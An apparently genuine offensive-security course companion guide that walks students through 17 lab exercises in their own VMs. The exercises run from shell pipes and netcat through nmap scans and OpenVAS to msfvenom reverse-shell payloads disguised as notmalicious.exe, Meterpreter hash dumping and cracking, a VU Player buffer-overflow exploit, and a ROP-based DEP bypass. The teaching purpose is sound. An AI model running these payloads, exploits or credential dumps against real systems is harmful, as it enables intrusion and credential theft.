A2

Updated 5 Oct 2026

CSS484 Assessment 2 — Lab Companion Guide

A step-by-step companion for all 17 exercises. It explains how to perform each task, why it works, and what to capture for your workbook.

How to use this (read first)

  • This is a learning guide, not a submission. Your workbook goes through Turnitin and is marked on your own screenshots, your own words, and your own reasoning. Run the commands yourself, capture your output, and write the summaries/reflections in your own voice. Copying this text verbatim will flag as non-original and defeats the point.
  • Scope / ethics (CLO6). Every command here is for your own isolated lab VMs only — the Kali VM and the Windows VM the course gave you. Do not scan or attack your home/hotel/coffee-shop network, other students' machines, or the internet. Exercises 8 and 12 say this explicitly.
  • Substitute your own values. IPs like 192.168.56.101, 192.168.0.17, 10.10.2.15 are examples from the course docs. Run ip a (Kali) and ipconfig (Windows) and use your addresses.
  • For every exercise the brief wants 5 things: (1) summary in your words, (2) labelled screenshots/output, (3) analysis, (4) answers to the guided questions, (5) a 1–3 sentence reflection. Each section below ends with a Capture checklist to make this easy.
  • Lab setup note. The exercise sheet says "Windows 11"; the Stack-Overflow/DEP workshops were written for a Windows 10 VM running VU Player. Use whichever Windows VM your instructor provided for each task — the steps are identical.

Exercise 1 — File Redirection and Pipes [EASY]

Goal: practise stdout redirection and piping/filtering.

Steps (on Kali):

# Save a directory listing to a file (> overwrites, >> appends)
ls -l /usr/sbin > sbin_listing.txt
cat sbin_listing.txt            # view what you saved
 
# Pipe a listing through grep to keep only names containing 'a'
ls /usr/sbin | grep a

Why it works: > connects the command's stdout to a file instead of the screen. A pipe | connects stdout of the left command to stdin of the right command, so grep filters the stream line by line.

Guided questions — what to research & answer in your words:

  • a. stdout vs stderr: stdout is normal output (file descriptor 1), stderr is error output (fd 2). Redirect separately: cmd > out.txt 2> err.txt. Merge both: cmd > all.txt 2>&1. Demonstrate with something that errors, e.g. ls /nope /usr > out.txt 2> err.txt then show both files.
  • b. Save AND see on screen at once: use tee: ls -l /usr/sbin | tee sbin_listing.txt. Explain that tee duplicates stdin to a file and to stdout.

Capture: the commands, the resulting file contents, the grep output, and a screenshot showing tee printing to screen while writing the file.


Exercise 2 — Host and Network Configuration [EASY]

Goal: inventory both VMs' networking and confirm connectivity. Do each on both VMs and label which is which.

QuestionKali (Linux)Windows
Interfacesip aipconfig /all
Listening ports / connectionsss -tulnp (or netstat -tulnp)netstat -ano
Routing tableip routeroute print
Ping the other VMping -c4 <win-ip>ping <kali-ip>
Traceroutetraceroute <win-ip>tracert <kali-ip>
ARP table (find MACs)ip neigh or arp -aarp -a
DNS resolvenslookup www.siit.tu.ac.th (or dig)nslookup www.siit.tu.ac.th

Reading it: The MAC of each VM is on its own interface line (ip a → link/ether … on Kali; ipconfig /all → Physical Address on Windows). The ARP table shows the other machine's MAC once you've pinged it.

Guided questions:

  • a. Compare, say, ip a vs ipconfig /all: both show IP/mask/MAC, but Windows also bundles DHCP lease, DNS servers and "connection-specific suffix" in the same view; Linux splits some of that into resolvectl//etc/resolv.conf. Describe what each surfaces.
  • b. Same layer-2 segment? If each VM's IP appears in the other's ARP table with a real MAC (not the gateway's), and they're in the same subnet/mask, they're on the same L2 segment. Explain that ARP only resolves addresses on the local broadcast domain.

Capture: per-VM screenshots for each row, clearly headed "Kali" / "Windows", with the MACs and the successful pings highlighted.


Exercise 3 — Starting and Verifying Services [EASY]

On Kali:

# SSH
sudo systemctl start ssh          # start the SSH server
# Web (Apache is pre-installed on Kali; or use python's http.server)
sudo systemctl start apache2

Three distinct ways to confirm each is running (use different categories of evidence):

# 1) Service manager says it's active
systemctl status ssh
systemctl status apache2
# 2) It's actually listening on its port
ss -tlnp | grep -E ':22|:80'
# 3) Connect to it for real
ssh localhost                     # SSH banner / login prompt
curl -I http://localhost          # HTTP 200/301 headers
# (a 4th: ps -ef | grep -E 'sshd|apache2')

Guided questions:

  • a. Most trustworthy on a box you don't control? The connect-to-it test (ssh/curl), because systemctl/ps can be faked or the binary renamed, but an actual protocol response proves the service is genuinely reachable and speaking the right protocol. Explain the attacker's-view reasoning.
  • b. installed vs enabled vs running: installed = package/binary present on disk; enabled = set to auto-start at boot (systemctl enable); running = active in memory right now (systemctl start). Give the command for each state.

Capture: start commands + the three verification outputs per service.


Exercise 4 — Locating Tools and Reading Manuals [EASY]

# Locate binaries
which nc; whereis nc; type nc
which wireshark; whereis nikto
# Windows binaries staged on Kali usually live under the wine/impacket paths or /usr/share/windows-binaries
locate whoami.exe                 # run 'sudo updatedb' first if locate is empty
# Read the manuals
man nc                            # find the listen flag
man nikto; nikto -Help

Answers you'll find:

  • nc listen flag: -l (often used as -lvnp <port>).
  • nikto non-80 port: nikto -h <target> -p <port> (and -ssl for HTTPS).

Guided questions:

  • a. which vs whereis vs locate: which = first match on your $PATH; whereis = binary + source + man page in standard locations; locate = anything in the prebuilt file database (updatedb), regardless of PATH. Explain the trade-offs (speed vs freshness vs scope).
  • b. On disk but not on PATH: PATH only lists certain directories; a tool elsewhere won't be found by name. Run it by full path (/opt/tool/bin/tool) or add its dir to PATH (export PATH=$PATH:/opt/tool/bin).

Capture: each locate/which output and the two manual answers with the relevant lines highlighted.


Exercise 5 — Netcat Listeners and File Transfer [MEDIUM]

On Windows, install ncat (comes with the Nmap installer for Windows) or use ncat from the Windows build. Kali already has nc/ncat.

Listener on Windows, connect from Kali:

# Windows (listener)
ncat -lvnp 4444
# Kali (connect)
ncat <win-ip> 4444

Reverse direction — listener on Kali, connect from Windows:

# Kali
nc -lvnp 4444
# Windows
ncat <kali-ip> 4444

File transfer (example: Kali → Windows):

# Kali sends
nc -lvnp 5555 < secret.txt
# Windows receives
ncat <kali-ip> 5555 > secret.txt

Flags n, v, l, p: -l listen, -p port, -v verbose (connection info), -n no DNS resolution (use raw IPs, faster/quieter).

Guided questions:

  • a/b. Describe the listener↔connect model and give the exact syntax you used each way (paste from your terminal).
  • c. Why attackers prefer reverse (target connects back): outbound connections usually pass through firewalls/NAT, whereas inbound to the target is typically blocked or un-routable behind NAT. A reverse shell originates from the target, so it looks like normal egress. Explain bind-shell limitations.

Capture: both directions working (verbose banners), and before/after proof of the transferred file (md5sum/Get-FileHash on both ends is strong evidence).


Exercise 6 — Telnet and Cleartext Protocols (Wireshark) [MEDIUM]

# Kali: install + start a telnet server
sudo apt update && sudo apt install -y telnetd inetutils-telnetd
sudo systemctl start inetutils-telnetd     # or via inetd/xinetd depending on build
ss -tlnp | grep :23
  • Windows: enable the Telnet client: Settings → Apps → Optional features, or dism /online /Enable-Feature /FeatureName:TelnetClient.
  • Wireshark on Kali: start capture on the lab interface before connecting; filter tcp.port == 23 or telnet.
  • From Windows: telnet <kali-ip> and log in.

What you'll see: Telnet sends credentials in cleartext. In Wireshark, right-click a Telnet packet → Follow → TCP Stream to read the whole login (the password appears character-by-character or in plain text).

Guided questions:

  • a. The feature that shows the full exchange in one view is Follow TCP Stream. Note that keystrokes are often echoed one byte per packet.
  • b. Modern replacements: SSH replaces interactive Telnet (adds encryption + host/key auth); TLS-wrapped protocols (e.g. HTTPS, FTPS) fix cleartext for their respective services. Say what specifically each fixes (confidentiality + integrity + authentication).

Capture: server-listening proof, the annotated Follow-TCP-Stream with the password highlighted, and your filter.


Exercise 7 — Packet Capture with tcpdump [MEDIUM]

# Capture only the telnet conversation, verbose, show payload
sudo tcpdump -i eth0 -nn -vv -X 'tcp port 23'
# -i interface  -nn no name/port resolution  -v/-vv verbosity  -X hex+ASCII payload
# Save to a file to open later in Wireshark:
sudo tcpdump -i eth0 -w telnet.pcap 'tcp port 23'

Then re-run your Telnet login (Ex 6) and watch the cleartext in the -X ASCII column.

Guided questions:

  • a. Single filter + explain each part: tcp port 23 → tcp limits to TCP, port 23 matches source or destination port 23 (Telnet). Add host scoping with host <ip> and tcp port 23.
  • b. tcpdump-only scenario: headless/remote servers over SSH with no GUI, tiny/embedded boxes, or quickly grabbing a .pcap on a machine where you can't install Wireshark — then analyse the .pcap elsewhere.

Capture: the command, a snippet of output showing readable credentials, and note the Wireshark-vs-tcpdump trade-off (GUI analysis vs lightweight CLI/remote).


Exercise 8 — Network Enumeration with Nmap [MEDIUM]

Lab only. Do not scan home/hotel/coffee-shop networks — that's the point of guided question (b).

# Discover live hosts on the lab subnet (substitute your subnet)
sudo nmap -sn 192.168.56.0/24                 # ping sweep / host discovery
# Full TCP port + service/version + OS + default scripts on a target
sudo nmap -sS -sV -O -p- -sC 192.168.56.0/24  # or a single host

Flag rationale: -sn host discovery only; -sS SYN scan; -sV service/version; -O OS fingerprint; -p- all 65535 ports; -sC default NSE scripts.

Other prompts to answer:

  • Kali tools that use Nmap under the bonnet: e.g. Metasploit db_nmap, OpenVAS/Greenbone (uses it for discovery), AutoRecon, nmap NSE-driven tools.
  • What Nmap doesn't give you: application-layer logic flaws, valid credentials, physical topology, internal business context, who owns a host.

Guided questions:

  • a. Host-discovery sweep = fast, quiet, low value (just "who's up"); full port+version scan = slow, noisy (lots of probes/logs), high value (attack surface + versions for CVE matching).
  • b. Why lab OK but coffee-shop not: you have authorisation for the lab (rules of engagement); scanning networks you don't own/aren't authorised to test is unauthorised access — unethical and illegal in most jurisdictions.

Capture: each command + results, and your reasoned answers. Do not include any non-lab scan.


Exercise 9 — Scan Types and Their Signatures [MEDIUM]

Start Wireshark first; capture each scan separately so you can compare signatures. Target is your lab host (the sheet uses 192.168.0.17 as an example — use yours).

# TCP connect scan with netcat (completes the 3-way handshake)
nc -zv 192.168.0.17 1-1000
# TCP connect scan with nmap
sudo nmap -sT 192.168.0.17
# TCP SYN ("half-open") scan
sudo nmap -sS 192.168.0.17
# UDP scan
sudo nmap -sU 192.168.0.17
# Explore others from the man page, e.g. -sF (FIN), -sN (null), -sX (xmas)

What Wireshark shows:

  • Connect (-sT/nc): full SYN → SYN-ACK → ACK, then RST/FIN. Leaves a completed connection (logged by the target).
  • SYN (-sS): SYN → SYN-ACK → RST (never completes). "Stealthier" because many apps only log completed connections.
  • UDP (-sU): no handshake; open ports often silent, closed ports reply ICMP port-unreachable → slow and ambiguous.

Guided questions:

  • a. Packet-level difference = the missing final ACK in SYN scan (half-open) vs the completed handshake in connect scan; hence less likely to be logged by the application.
  • b. UDP is connectionless (no handshake to confirm), relies on ICMP unreachables that are rate-limited by the OS, so scans are slow and results are "open|filtered" ambiguous.

Capture: one Wireshark screenshot per scan type with the handshake pattern visible, plus your comparison of noise/stealth.


Exercise 10 — Vulnerability Scanning with OpenVAS / Greenbone [MEDIUM]

sudo gvm-setup            # first-time only (can take a while); note the admin password
sudo gvm-check-setup
sudo gvm-start            # opens the web UI, usually https://127.0.0.1:9392

In the web UI: Scans → Tasks → New Task → create a Target (your lab host/subnet) → pick the Full and fast config → run it. Explain in your workbook why you chose that target scope and scan config.

When to / not to run: with authorisation on systems you're assessing (yes); against production during peak hours or unauthorised hosts (no — noisy, can destabilise fragile services).

Guided questions:

  • a. Pick one finding, record its CVSS score/severity, then judge whether it matches real risk here (e.g. a "high" that needs network adjacency you don't have is lower real risk in this lab).
  • b. False positives: scanners infer from banners/version strings that can be back-ported or misleading. Verify manually (connect to the service, check the actual version, try a safe PoC, read the vendor advisory).

Capture: scan config, results summary, and one finding you verified manually with how you confirmed it.


Exercise 11 — CVE Research [MEDIUM]

  • Three latest verified vulnerabilities: use NVD (nvd.nist.gov), CISA KEV catalog, and vendor advisories. For each: CVE ID, affected product/versions, vulnerability class, and how the public exploit/PoC works at a high level.
  • Rate of new CVEs: cite current figures from NVD statistics / CVE.org (e.g. tens of thousands per year; give the number with your source and date).
  • CVE-2025-55182: look it up on NVD and the vendor advisory. Summarise: what component, what flaw class, what an attacker achieves, and — in theory, for an authorised test — where it would fit in an engagement (e.g. initial access vs privilege escalation). Keep it conceptual; cite sources.

Guided questions:

  • a. vulnerability vs exploit vs PoC: a vulnerability is the flaw; an exploit is weaponised code/technique that reliably abuses it for impact; a proof-of-concept just demonstrates the flaw is real (often a crash), not a full attack.
  • b. Authoritative sources: NVD/MITRE and first-party vendor advisories are authoritative (curated, versioned); random blogs/forums/exploit mirrors are not primary — use them only to understand, and verify against the advisory.

Capture: your three CVE summaries with source URLs and access dates, the rate figure with its source, and the CVE-2025-55182 write-up.


Exercise 12 — Payload Generation and Delivery [HARD]

Lab target only. The file is deliberately named notmalicious.exe for the exercise; it is a reverse shell — only ever run it on your own Windows lab VM.

# Staged reverse-TCP Windows payload as an EXE (substitute your Kali IP/port)
msfvenom -p windows/shell/reverse_tcp -f exe -a x86 --platform windows \
  LHOST=<kali-ip> LPORT=4444 -o notmalicious.exe
# 'windows/shell/reverse_tcp' is STAGED; 'windows/shell_reverse_tcp' (no slash) is STAGELESS

Deliver via a web server on Kali:

mkdir -p ~/serve && cp notmalicious.exe ~/serve && cd ~/serve
# make a tiny index.html linking the file, then:
python3 -m http.server 80

Browse from the Windows VM to http://<kali-ip>/, click the link, run it.

Catch it — Metasploit handler:

msfconsole -q
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST <kali-ip>
set LPORT 4444
run

Catch it — Netcat instead: generate a stageless payload (windows/shell_reverse_tcp) and catch with nc -lvnp 4444. (Staged payloads need Metasploit's stager to deliver the second stage; plain netcat can't serve the stage, so use stageless for nc.)

Other prompts: msfvenom --list formats / --list payloads. Interesting formats: exe, dll, psh/psh-cmd (PowerShell), hta-psh, raw/python/c (for embedding in exploits like Ex 15). Metasploit vs Netcat: Metasploit for session management, staged payloads, and upgrading to Meterpreter; Netcat for a quick, dependency-free catch.

Guided questions:

  • a. staged vs stageless: staged sends a small stager that pulls the rest over the connection (smaller initial payload, needs the handler); stageless is the whole payload in one blob (bigger, but self-contained — works with nc).
  • b. Why raw .exe gets caught + evasion categories (keep theoretical): AV matches known msfvenom signatures/encoder stubs and behaviour. Conceptually, evasion research covers encoding/packing, obfuscation, and living-off-the-land — discuss the categories and defensive implications; do not build evasion. Frame it from the blue-team/detection angle for the workbook.

Capture: the exact msfvenom command, the web delivery, and the caught shell (whoami in the session).


Exercise 13 — Credential Access and Password Cracking [HARD]

Wordlists: rockyou.txt (/usr/share/wordlists/rockyou.txt.gz → gunzip it), SecLists (sudo apt install seclists). "Good" = large, real-world-derived, relevant to the target's likely password policy.

Dump hashes from your Windows lab VM via Meterpreter + kiwi:

# in an existing Meterpreter session on the Windows VM
meterpreter > load kiwi
meterpreter > lsa_dump_sam          # or: hashdump

Crack (offline) with John or Hashcat:

# John
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=NT hashes.txt
# Hashcat (NTLM = mode 1000)
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Offline vs online: crack offline when you already have the hash file (fast, no lockouts, silent); crack online (e.g. hydra) only when you must test a live service and have no hash — slower, noisy, risks lockout.
Always need a wordlist? No — brute-force (-a 3 mask) and rule-based mutation don't need one, though they're slower/targeted.

Guided questions:

  • a. What a hash is / why "crack" not "reverse": a hash is a one-way function; you can't invert it, so cracking = hashing many guesses and comparing.
  • b. dictionary vs rule-based vs brute-force: dictionary = fast, limited to the list; rule-based = mutate dictionary words (good coverage/speed balance); brute-force = exhaustive, total coverage but exponential time.
  • c. Salting + modern algorithms: salts defeat precomputed rainbow tables and make identical passwords hash differently; slow KDFs (bcrypt/argon2/PBKDF2) deliberately raise per-guess cost.

Capture: the hash dump (lab only), the crack command, the recovered test credentials, and your answers.


Exercise 14 — Shellcoding [HARD]

Files: Shellcode-Workshop.zip. Each shellcode/<n>/ folder has a README.txt task, a shellcode-server binary, a Makefile, and a src/main.c harness that loads your bytes and sets the registers. You write x86 assembly, assemble it, and feed the raw bytes to the server. This runs on Kali (Linux, 32-bit x86).

The six challenges:

  1. Put 1337 into EBX.
  2. Return the sum of EBX and ECX.
  3. Power function: EBX ^ ECX (e.g. ebx=3, ecx=2 → 9).
  4. Return the length of the string pointed to by EBX.
  5. Reverse the string pointed to by EBX, in place.
  6. substring search: return index of string in ECX within string in EBX, or -1.

Workflow (challenge 1 pattern):

cd shellcode/1
cat README.txt                 # the task
cat src/main.c                 # see how it calls your code / which regs are set
# Write shellcode.asm, e.g.:
#   section .text
#   global _start
#   _start:
#     mov ebx, 1337
#     ret                      # return to the harness
# Assemble to raw bytes:
nasm -f elf32 shellcode.asm -o shellcode.o
# Extract the opcodes (objdump) and feed them to the server/harness:
objdump -d shellcode.o
make                           # build per the provided Makefile

harness.py shows the delivery pattern (opens a socket to the server on localhost:8888 and sends the raw shellcode bytes). Adapt it to send your assembled bytes; the server runs them with the registers set per the README and reports the result.

Key skills to show: choosing the right instructions, avoiding bad bytes (esp. \x00), looping (challenges 3–6), pointer dereferencing (mov al, [ebx]), and returning the result in the expected register. There's a solution file in challenge 1 — use it only to check after you've attempted, and explain the logic in your own words.

Capture: your .asm for each level you solve, the assembled bytes, and the server returning the correct value. Reflect on which was hardest and why.


Exercise 15 — Stack Overflow (VU Player, Immunity + mona) [HARD]

Files: Windows-StackOverflow-Workshop.zip — VU Player 2.49, Immunity Debugger, mona-master.zip, Notepad++, and poc-bare.py. Done on the Windows VM; shellcode generated on Kali. VU Player crashes parsing an oversized .m3u; the stack is executable and has no cookies, so it's a classic EIP-overwrite.

Setup: install VU Player, Immunity Debugger, Notepad++; extract mona-master.zip and copy mona.py to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\. In Immunity's command bar:

!mona config -set workingfolder C:\mona\%p

Step 1 — Crash it / find the offset:

# poc.m3u — oversized buffer
with open('poc.m3u','wb') as f:
    f.write(b'A'*3000)

Open poc.m3u in VU Player under Immunity. EIP becomes 41414141 → you control it. Find the exact offset:

!mona pattern_create 3000       # paste the pattern into your script, make poc1.m3u, crash again
!mona pattern_offset <EIP-value>   # tells you the distance to EIP

Step 2 — Prove control: write b'A'*offset + b'BCD'... i.e. A*offset then BBBB → EIP should read 42424242. That confirms the offset is exact.

Step 3 — Find a JMP ESP trampoline in a non-ASLR module (so the address is stable):

!mona jmp -r esp

Take a reliable address; remember little-endian when you pack it (struct.pack('<I', 0x....)).

Step 4 — Generate shellcode on Kali (course's exact command; substitute LHOST/LPORT):

msfvenom -n 100 -p windows/shell_reverse_tcp -f python -a x86 --platform windows \
  -b "\x00\x09\x0A\x0d\x1a" -e x86/shikata_ga_nai LHOST=<kali-ip> LPORT=7777 > reverse_tcp
# -n 100 = 100-byte NOP sled; -b = bad chars to avoid; -e = encoder

Step 5 — Build exploit.m3u: junk (offset of 'A') + JMP ESP address (little-endian) + NOP sled + shellcode. The NOP sled gives the decoder room so fstenv-style GetPC doesn't corrupt the payload.

Step 6 — Catch the shell:

nc -lvnp 7777        # on Kali, BEFORE triggering

Open exploit.m3u in VU Player → you get a shell back on Kali. Verify with whoami, dir, ipconfig.

Why each piece: junk reaches the saved return address; JMP ESP redirects EIP to the top of your buffer on the stack; NOP sled + shellcode then executes because the stack is executable (no DEP yet — that's Ex 16).

Capture: the crash (EIP=41414141), pattern_offset result, EIP=42424242 control proof, the JMP ESP address, your exploit script, and the reverse shell connected on Kali. The workshop's post-exploitation section (whoami /priv, systeminfo, file transfer via PowerShell/nc) gives extra things to demonstrate and reflect on.


Exercise 16 — DEP-ROP-Mona [HARD]

Files: Windows-DEP-ROP-Mona-Workshop.zip — Windows-DEP-ROP-Workshop.docx + sploitgen-Win10-Starter.py. This extends Ex 15: turn DEP on, watch the old exploit fail, then bypass DEP with a ROP chain that calls VirtualProtect to make the stack executable.

Step 1 — Confirm NX + turn DEP to OptOut:

  • VirtualBox: VM → Settings → System → Processor → Enable PAE/NX (confirm it's on).
  • Windows: This PC → Properties → Advanced system settings → Performance → Settings → Data Execution Prevention → "Turn on DEP for all programs… except those I select" → reboot.

Step 2 — Retry Ex 15's exploit.m3u: now it crashes with an access violation (0xC0000005) instead of giving a shell — because executing shellcode on the stack is blocked. Screenshot this; it demonstrates DEP.

Step 3 — Generate a ROP chain with mona. Open VU Player in Immunity, then:

# first pass (all modules — shows the ASLR problem)
!mona rop -cpb "\x00\x09\x0A\x0d\x1a" -m *

Open C:\mona\rop_chains.txt, find the VirtualProtect Python chain. Most DLLs there are ASLR-enabled → unreliable. The fix (per the workshop): VU Player bundles old non-ASLR libs BASS.dll, BASSWMA.dll, BASSMIDI.dll (fixed base ~0x10000000). Regenerate using only those:

!mona rop -m "BASS.dll, BASSWMA.dll, BASSMIDI.dll" -cpb "\x00\x09\x0a\x0d\x1a"

Step 4 — Build the DEP-bypass payload using sploitgen-Win10-Starter.py as the skeleton. Structure (from the workshop):

junk (≈1012 'A's)   → overflow to EIP
rop_chain           → sets registers + calls VirtualProtect(PAGE_EXECUTE_READWRITE)
nops (16 bytes)     → small sled
buf                 → your reverse_tcp shellcode (same msfvenom as Ex 15)
padding ('C's)      → fill to ~3000 bytes

Paste mona's generated create_rop_chain() over the starter's stub, set junk, nops, buf, padding, and write vuplayer-dep.m3u.

How the ROP works (for your analysis): the chain loads VirtualProtect's args into registers, then PUSHAD # RETN pushes them in the exact order VirtualProtect expects (lpAddress≈ESP, dwSize=0x201, flNewProtect=0x40, lpflOldProtect=writable addr), calls VirtualProtect via an indirect JMP [EAX] staged in ESI, which marks the stack executable; VirtualProtect then RETs into a JMP ESP gadget that pivots into your now-executable NOP sled + shellcode.

Step 5 — Catch it: nc -lvnp 7777 on Kali, open vuplayer-dep.m3u, get the shell with DEP enabled.

Capture (the workshop asks for this explicitly): a screenshot of the ROP chain, and the reverse TCP shell connecting back to Kali from shellcode on the (now executable) stack, with DEP on. Reflect on why non-ASLR modules made this reliable and how ASLR would complicate it.


Exercise 17 — Capstone: Full Compromise [CAPSTONE]

Deliberately minimal guidance — enumeration is what's being graded. No solution here (and the target is specific to your lab). Follow the methodology; the marks are for reasoning, not just flags. Attack only the designated target.

1. Recon / enumerate:

sudo nmap -sn <lab-subnet>/24                       # find the forgotten host
sudo nmap -sS -sV -sC -p- -O <target-ip>            # full service/version + scripts

Read everything nmap returns — unusual port, odd service, version string → that's your lead (guided Q a: "what told you what to do next").

2. Foothold — exploit the exposed service:

  • Match the service/version to a known vuln (NVD / searchsploit <product>).
  • Get a shell (Metasploit module, a public PoC used responsibly against your lab target, default/cracked creds, etc.). Confirm which account you landed as (whoami/id) — note why it's not root/SYSTEM yet (guided Q b).
  • Flag 1 is typically readable here — record the command + output.

3. Local enumeration (post-foothold):

# Linux targets
id; sudo -l; uname -a; find / -perm -4000 -type f 2>/dev/null   # SUID
# or run linpeas; look for misconfig, creds, cron, writable services
# Windows targets: whoami /priv ; systeminfo ; winPEAS

Look for the privilege-escalation path: SUID binary, sudo misconfig, vulnerable service, kernel exploit, stored creds.

4. Escalate to root/SYSTEM: exploit the local vuln you found; confirm with id/whoami. Flag 2/3 usually need these higher privileges. Document why the escalation works and how a defender would remediate it (guided Q c).

5. Document reproducibly: each flag's contents + the exact command/output that revealed it, in order, so another student can replay it. Prepare an answer for guided Q d (your backup escalation path if the first had failed).

Capture: full reproducible walkthrough — recon → foothold (with commands) → local enum → privesc → all three FLAG{...} with evidence, plus the four guided-question answers.


Final workbook checklist

  • Every exercise has: summary (your words) · labelled screenshots · analysis · guided-question answers · 1–3 sentence reflection.
  • Screenshots are legible and the relevant part is highlighted.
  • All IPs/MACs/flags are from your lab run, not this guide's examples.
  • You only ever targeted your own lab VMs (state this — CLO6).
  • Budget time toward the HARD/CAPSTONE items (14–17) — they're worth the most.
  • Compile to one PDF, submit to Turnitin (Class ID 53938998) and Google Classroom before 18 Oct 23:59.
  • Wording is your own — Turnitin checks originality.